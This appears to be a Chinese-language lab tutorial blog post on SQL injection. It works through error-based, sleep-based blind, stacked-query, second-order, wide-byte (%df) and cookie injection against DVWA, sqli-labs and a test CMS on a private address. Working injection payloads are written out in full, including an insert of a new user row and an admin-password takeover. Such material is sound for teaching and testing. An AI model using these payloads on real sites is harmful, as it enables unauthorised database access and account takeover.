![f5e0591dda65800459e6aac5208f758c.png](https://img-blog.csdnimg.cn/img_convert/f5e0591dda65800459e6aac5208f758c.png)
报错注入
CMS系统:
已知:数字型注入
1. group by 虚拟表主键重复冲突
原理:
https://blog.csdn.net/he_and/article/details/80455884?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param
![232457dd73aa28bbd23883aa3f00ad61.png](https://img-blog.csdnimg.cn/img_convert/232457dd73aa28bbd23883aa3f00ad61.png)
http://10.1.1.8/cms/show.php?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
![2fad06cb9f9e663f77548dfa2958a57c.png](https://img-blog.csdnimg.cn/img_convert/2fad06cb9f9e663f77548dfa2958a57c.png)
2. extractvalue()函数
![9894825583d4f04b7eceba1a7968ef42.png](https://img-blog.csdnimg.cn/img_convert/9894825583d4f04b7eceba1a7968ef42.png)
![288d0f79cb66086bc3b7c4bedfb245b8.png](https://img-blog.csdnimg.cn/img_convert/288d0f79cb66086bc3b7c4bedfb245b8.png)
3. updatexml()函数
![0e22041441b437224e6d546d8fdc13a1.png](https://img-blog.csdnimg.cn/img_convert/0e22041441b437224e6d546d8fdc13a1.png)
![67c5497db50332e6e2d10b8d75c39d22.png](https://img-blog.csdnimg.cn/img_convert/67c5497db50332e6e2d10b8d75c39d22.png)
数据库名:cms
![f9199b226ed9260c3def27bd2374a96a.png](https://img-blog.csdnimg.cn/img_convert/f9199b226ed9260c3def27bd2374a96a.png)
![5581923a5ceed70b992dba149c5bd34a.png](https://img-blog.csdnimg.cn/img_convert/5581923a5ceed70b992dba149c5bd34a.png)
cms的一张表的表名:cms_article
改变limit 0,1中的0继续查询其他表!
延时注入(sleep)
没有任何报错信息输出,无法判断SQL注入测试语句是否正确,通过构造sleep注入的SQL测试语句,根据页面的返回时间判断数据库中存储了哪些信息!
sleep():让执行SQL语句时间变长!
sleep()常与if(expression1,expression2,expression3)结合使用!
if(expression1,expression2,expression3):
如果expresson1为TRUE,if()返回expression2,否则返回expression3!
获取数据库名长度
http://10.1.1.8/DVWA-master/vulnerabilities/sqli_blind/?id=1' and if(length(database()) >8 ,sleep(5),1) --+&Submit=Submit#
分析:
如果数据库的长度大于8,休眠5秒后,执行id=1的查询,id=1的查询时间大约只有几十毫秒,否则(小于等于8),直接查询id=1!
结论:通过sleep()产生的时间差来判断SQL语句的执行结果!
......
堆叠查询注入
结束了一个sql语句后(;),继续构造下一条语句,但会不会执行取决于相应的数据库系统是否支持!
oralce不支持,mysql支持 ......
![25699005c924bb2ec5645901d18a7447.png](https://img-blog.csdnimg.cn/img_convert/25699005c924bb2ec5645901d18a7447.png)
http://10.1.1.8/sqli-labs-master/Less-38/?id=1' ; insert into users(id,username,password)values('66','wenxin','123.com') --+
![ff8876fb142714228b8ce0936a32a977.png](https://img-blog.csdnimg.cn/img_convert/ff8876fb142714228b8ce0936a32a977.png)
insert插入成功!
查看堆叠查询注入源码:
![c16602e550a8debd31f10b757bfb3649.png](https://img-blog.csdnimg.cn/img_convert/c16602e550a8debd31f10b757bfb3649.png)
箭头指示的代码中允许批量执行SQL,这就有可能存在堆叠查询注入的可能!
mysqli_multi_query()函数支持多条sql语句同时执行!
================================================
但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁!
================================================
获取数据库的长度
http://10.1.1.8/sqli-labs-master/Less-38/?id=1';select if(length(database())>5,sleep(5),1) --+
![869b02818ee362a05991ca2e3e182385.png](https://img-blog.csdnimg.cn/img_convert/869b02818ee362a05991ca2e3e182385.png)
![b09fad848ad2f6dd6d3dd65516bc3bf8.png](https://img-blog.csdnimg.cn/img_convert/b09fad848ad2f6dd6d3dd65516bc3bf8.png)
堆叠查询与联合查询(union select)的区别:
联合查询只能查询(select),堆叠注入可以执行任意语句!
(insert/update/create/delete...等)
......
二次注入
![c3a74c9709a68ab19dd1fef7ee057a8b.png](https://img-blog.csdnimg.cn/img_convert/c3a74c9709a68ab19dd1fef7ee057a8b.png)
![71d1b71843be98a78f7dbb7ca17a8db7.png](https://img-blog.csdnimg.cn/img_convert/71d1b71843be98a78f7dbb7ca17a8db7.png)
用户正常登录!
![cf52e01f54462cdb087ee5d5039c0a10.png](https://img-blog.csdnimg.cn/img_convert/cf52e01f54462cdb087ee5d5039c0a10.png)
登录页面还有"忘记密码"和注册新用户的功能!
注册账户:
![6ed5e37f3908736a9631a114cd589d01.png](https://img-blog.csdnimg.cn/img_convert/6ed5e37f3908736a9631a114cd589d01.png)
![a883e0557261d4c6d72b84770ec11145.png](https://img-blog.csdnimg.cn/img_convert/a883e0557261d4c6d72b84770ec11145.png)
![05a9f25326048c3169900b530ccd9804.png](https://img-blog.csdnimg.cn/img_convert/05a9f25326048c3169900b530ccd9804.png)
![ef8f1e79183f84955c9cb41283712973.png](https://img-blog.csdnimg.cn/img_convert/ef8f1e79183f84955c9cb41283712973.png)
![c476f3e0a50666cdb57f758a1030e328.png](https://img-blog.csdnimg.cn/img_convert/c476f3e0a50666cdb57f758a1030e328.png)
登录数据库系统,查看用户信息!
![9a32d5231356ed94ebb96dc1a0450ef7.png](https://img-blog.csdnimg.cn/img_convert/9a32d5231356ed94ebb96dc1a0450ef7.png)
![c40079236df0ff9d6b4eea65ba65da3f.png](https://img-blog.csdnimg.cn/img_convert/c40079236df0ff9d6b4eea65ba65da3f.png)
![ab3142b5d5d5dcefc308d981baa5a2cd.png](https://img-blog.csdnimg.cn/img_convert/ab3142b5d5d5dcefc308d981baa5a2cd.png)
此页面下修改admin'#的密码:
![907e9b73a8efe4c062191fa105515764.png](https://img-blog.csdnimg.cn/img_convert/907e9b73a8efe4c062191fa105515764.png)
![c598021bc1a033fd1218f80865d85458.png](https://img-blog.csdnimg.cn/img_convert/c598021bc1a033fd1218f80865d85458.png)
![61e3344b0d17178f56491fa3c3724437.png](https://img-blog.csdnimg.cn/img_convert/61e3344b0d17178f56491fa3c3724437.png)
数据库查看修改情况:
![b9901c75d7c62fb7f7b48e75d5969b65.png](https://img-blog.csdnimg.cn/img_convert/b9901c75d7c62fb7f7b48e75d5969b65.png)
结论:admin'#并没有被修改,但修改了原数据库里的admin的密码(原来admin的密码是admin)
用admin/123456登录:
返回HOME,注销当前账户(Logout)!
![b6b6106aa92758d8404cbb7c9d14159c.png](https://img-blog.csdnimg.cn/img_convert/b6b6106aa92758d8404cbb7c9d14159c.png)
![0a02f61415e00e5c514f2c26721c75e9.png](https://img-blog.csdnimg.cn/img_convert/0a02f61415e00e5c514f2c26721c75e9.png)
![88e77d3b646309777c7bbd189ed8dffb.png](https://img-blog.csdnimg.cn/img_convert/88e77d3b646309777c7bbd189ed8dffb.png)
![6de9c994cef98d8d9d54b60333998e48.png](https://img-blog.csdnimg.cn/img_convert/6de9c994cef98d8d9d54b60333998e48.png)
admin用户成功登录!
查看注册页面源码:
![3c2e5c58475fc1ee988ce67d125d04c1.png](https://img-blog.csdnimg.cn/img_convert/3c2e5c58475fc1ee988ce67d125d04c1.png)
![63ab13c5b1be14ede68d17ab6c8cf98a.png](https://img-blog.csdnimg.cn/img_convert/63ab13c5b1be14ede68d17ab6c8cf98a.png)
跳转到:login_create.php
![f92d64dbb8d37b5fd7f5e67a5079ac18.png](https://img-blog.csdnimg.cn/img_convert/f92d64dbb8d37b5fd7f5e67a5079ac18.png)
![a1b3c25a10d16cb618d15199c12ebe07.png](https://img-blog.csdnimg.cn/img_convert/a1b3c25a10d16cb618d15199c12ebe07.png)
$sql = "insert into users ( username, password) values("$username", "$pass")";
注册后,插入数据库的SQL语句!
代码审计:
结论:仅对特殊字符"进行了转义!
查看修改密码页面源码:
![952d4accb5372d7f90b62f5c48078ae6.png](https://img-blog.csdnimg.cn/img_convert/952d4accb5372d7f90b62f5c48078ae6.png)
![e13ae349a4745d932d3f7fc75da39ff2.png](https://img-blog.csdnimg.cn/img_convert/e13ae349a4745d932d3f7fc75da39ff2.png)
代码审计:
$username= $_SESSION["username"]; // admin'#$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";// username='$username' ==> username='admin'#' ==>username='admin'// 所以,实际上修改的是admin的密码!
宽字节注入
================================================
当某字符的大小为一个字节时,称其字符为窄字节.
当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节!
常见的宽字节编码:
GB2312
GBK
GB18030
BIG5
Shift_JIS
......
================================================
开发人员为了防止SQL注入,对用户输入的单引号(')会进行转义处理('),转义后的单引号,不能起到前后单引号闭合的作用(''),它只能作为两个单引号闭合后的内容('''==>' ' '),这样会导致id=1'中的'不能跟前一个单引号闭合,而只能作为前一个单引号和最后一个单引号闭合内的内容,所以在一般情况下,此时不会存在SQL注入漏洞!所以,要实施SQL漏洞注入,需要绕过转义()!
思路:
1. 失去转义作用(开发人员才能做)
2. 让 消失
让消失:使用宽字节注入(数据库的编码方式必须为宽字节编码,如:GBK!)
![fdd24647a49a24f7562a0e1b753ced0a.png](https://img-blog.csdnimg.cn/img_convert/fdd24647a49a24f7562a0e1b753ced0a.png)
方法:
在地址后先加一个%df,再加单引号,因为的编码为%5c,而在GBK编码中,%df%5c是繁体字"連",这样就消失了,那么'不是作为内容了,最后开发人员构建的SQL语句中,由于多出一个不是内容的'就会报错!这时我们可以构建SQL语句,把多余的‘注释掉,让其消失,那么最后的SQL语句就能正确执行了!
思路:(范围:%81-%FE)
' ' ' ===> 初始状态,转义后的('),作为首尾(')的内容!' 連' ' ===> 消失,但SQL语法错误,不能正确执行SQL语句!注释掉最后一个(') ===> ' 連' ===> SQL语法正确,便能正确执行SQL语句了!
![54de733b39b0bb81152337fb63a2c7bb.png](https://img-blog.csdnimg.cn/img_convert/54de733b39b0bb81152337fb63a2c7bb.png)
![b0182c361a543ffd843696727b4c9b82.png](https://img-blog.csdnimg.cn/img_convert/b0182c361a543ffd843696727b4c9b82.png)
![a8a78fd2feb9e3505d9434fbb2e70433.png](https://img-blog.csdnimg.cn/img_convert/a8a78fd2feb9e3505d9434fbb2e70433.png)
![57b1706e7644f2fa8c830c1846027ab0.png](https://img-blog.csdnimg.cn/img_convert/57b1706e7644f2fa8c830c1846027ab0.png)
加了(')后,由于开发人员进行了转义,所以程序运行正常!
![25bd608c2539092452053ea56563f707.png](https://img-blog.csdnimg.cn/img_convert/25bd608c2539092452053ea56563f707.png)
![3cb244e554af9af14d9b7298fc8bf2c4.png](https://img-blog.csdnimg.cn/img_convert/3cb244e554af9af14d9b7298fc8bf2c4.png)
![f6d0e765da4319c7dbce82af8d716dc4.png](https://img-blog.csdnimg.cn/img_convert/f6d0e765da4319c7dbce82af8d716dc4.png)
http://10.1.1.8/sqli-labs-master/Less-32/ ?id=1%df'
加了%df后,开发人员的转义失效,('''),造成SQL语法错误,所以报错!也说明,加了%df起作用了!
SQL语法错误,注释掉最后一个(')使其正确:
![1eb2a44d63581ca83e03a0f6c7bb8fe7.png](https://img-blog.csdnimg.cn/img_convert/1eb2a44d63581ca83e03a0f6c7bb8fe7.png)
http://10.1.1.8/sqli-labs-master/Less-32/?id=1%df'--+
![3dc4cb870533e98352bc9909fafec7c9.png](https://img-blog.csdnimg.cn/img_convert/3dc4cb870533e98352bc9909fafec7c9.png)
SQL语句正确执行,不报错!
进一步探究使用何种注入方式:
![4dc7e5f0a6c8507844636e954dec95ae.png](https://img-blog.csdnimg.cn/img_convert/4dc7e5f0a6c8507844636e954dec95ae.png)
![22128a7732d4405244771f62bd8ae59f.png](https://img-blog.csdnimg.cn/img_convert/22128a7732d4405244771f62bd8ae59f.png)
正确执行,页面回显登录名和密码信息!
![f5b4939ba5cea04d639baffc4f9a014d.png](https://img-blog.csdnimg.cn/img_convert/f5b4939ba5cea04d639baffc4f9a014d.png)
![409a0ebeddd6ca03371311b5e3c55d3e.png](https://img-blog.csdnimg.cn/img_convert/409a0ebeddd6ca03371311b5e3c55d3e.png)
正确执行,查询不到匹配的条件,页面不回显登录名和密码信息!
结论:根据回显不同信息,可以使用联合查询注入!
1. 字符型注入
2. 获取显示位
http://10.1.1.8/sqli-labs-master/Less-32/?id=1%df' order by 1 --+
![adcdb36d0f6f73e0adb46bd141a56fe5.png](https://img-blog.csdnimg.cn/img_convert/adcdb36d0f6f73e0adb46bd141a56fe5.png)
![a6b7d71799fe5607d343632465579709.png](https://img-blog.csdnimg.cn/img_convert/a6b7d71799fe5607d343632465579709.png)
......
cookie注入
![cca17d10b4cf472545826dec798e482e.png](https://img-blog.csdnimg.cn/img_convert/cca17d10b4cf472545826dec798e482e.png)
![4065879c6345bed97cdd298910f7b39f.png](https://img-blog.csdnimg.cn/img_convert/4065879c6345bed97cdd298910f7b39f.png)
![ef944faea5f938a7272d761a4689ed83.png](https://img-blog.csdnimg.cn/img_convert/ef944faea5f938a7272d761a4689ed83.png)
![f99311e533ee541eb18f937f8d860856.png](https://img-blog.csdnimg.cn/img_convert/f99311e533ee541eb18f937f8d860856.png)
![0d8ce0de6129fc453fd9538909e08669.png](https://img-blog.csdnimg.cn/img_convert/0d8ce0de6129fc453fd9538909e08669.png)
发现url中没有GET参数,但页面返回正常,还显示Cookie ID set!
BP抓包分析(提交页面):
![cd21c9325790525b1e813b6933217f97.png](https://img-blog.csdnimg.cn/img_convert/cd21c9325790525b1e813b6933217f97.png)
![3f2e3d1d1b1bf74b42fa38562c190913.png](https://img-blog.csdnimg.cn/img_convert/3f2e3d1d1b1bf74b42fa38562c190913.png)
![f02066621be3a76d1eb61f2a8418e181.png](https://img-blog.csdnimg.cn/img_convert/f02066621be3a76d1eb61f2a8418e181.png)
分析:Cookie中存在id=1的参数,但请求的方式是POST!
![416473d1acfc872256c47fccf80c6d87.png](https://img-blog.csdnimg.cn/img_convert/416473d1acfc872256c47fccf80c6d87.png)
![8f22ca6d2c38b53fb9392ffa2ffc471c.png](https://img-blog.csdnimg.cn/img_convert/8f22ca6d2c38b53fb9392ffa2ffc471c.png)
修改id=1':
![64b3b5abb48ac7dfc99df1f8120e37c7.png](https://img-blog.csdnimg.cn/img_convert/64b3b5abb48ac7dfc99df1f8120e37c7.png)
![400ac3272b96c3cdb236eb82cde07796.png](https://img-blog.csdnimg.cn/img_convert/400ac3272b96c3cdb236eb82cde07796.png)
![790ba6af185e5753e96807dcda78164f.png](https://img-blog.csdnimg.cn/img_convert/790ba6af185e5753e96807dcda78164f.png)
继续尝试:
id 1' and 1=1 --+
id 1' and 1=2 --+
sleep()
....
![dd253f2e11d80a69a7b8de274edc78ac.png](https://img-blog.csdnimg.cn/img_convert/dd253f2e11d80a69a7b8de274edc78ac.png)
![fa6c97591829b7d2e89771a8dc6562df.png](https://img-blog.csdnimg.cn/img_convert/fa6c97591829b7d2e89771a8dc6562df.png)
![9c139c27ee0507dfcdabd943c340d140.png](https://img-blog.csdnimg.cn/img_convert/9c139c27ee0507dfcdabd943c340d140.png)
发现页面都没变化!(提交页面不存在SQL漏洞!)
BP抓包显示页面分析:
![0beb8fc8142049d61c6e630a4f2879f5.png](https://img-blog.csdnimg.cn/img_convert/0beb8fc8142049d61c6e630a4f2879f5.png)
![66c196d4a7ecd3cbf1a425b6d1104ce8.png](https://img-blog.csdnimg.cn/img_convert/66c196d4a7ecd3cbf1a425b6d1104ce8.png)
![51465b41e0d803a1bd70a45f3deeecc3.png](https://img-blog.csdnimg.cn/img_convert/51465b41e0d803a1bd70a45f3deeecc3.png)
结论:存在字符注入,并且是通过cookie的id参数注入!
由于页面回显,存在或不存在信息,使用布尔类型注入!
![aa7279290aa71e94b07acf8962b2308e.png](https://img-blog.csdnimg.cn/img_convert/aa7279290aa71e94b07acf8962b2308e.png)
![2d7614f984b90dd5a71572c7a6f19623.png](https://img-blog.csdnimg.cn/img_convert/2d7614f984b90dd5a71572c7a6f19623.png)
![bbdf0a63550359631dec5f33ced74f4c.png](https://img-blog.csdnimg.cn/img_convert/bbdf0a63550359631dec5f33ced74f4c.png)
结论:数据库长度为4!
......
![0c493b099ac4c8a968d3609d35a2fc27.png](https://img-blog.csdnimg.cn/img_convert/0c493b099ac4c8a968d3609d35a2fc27.png)
base64注入
XFF注入
下一篇分析 ......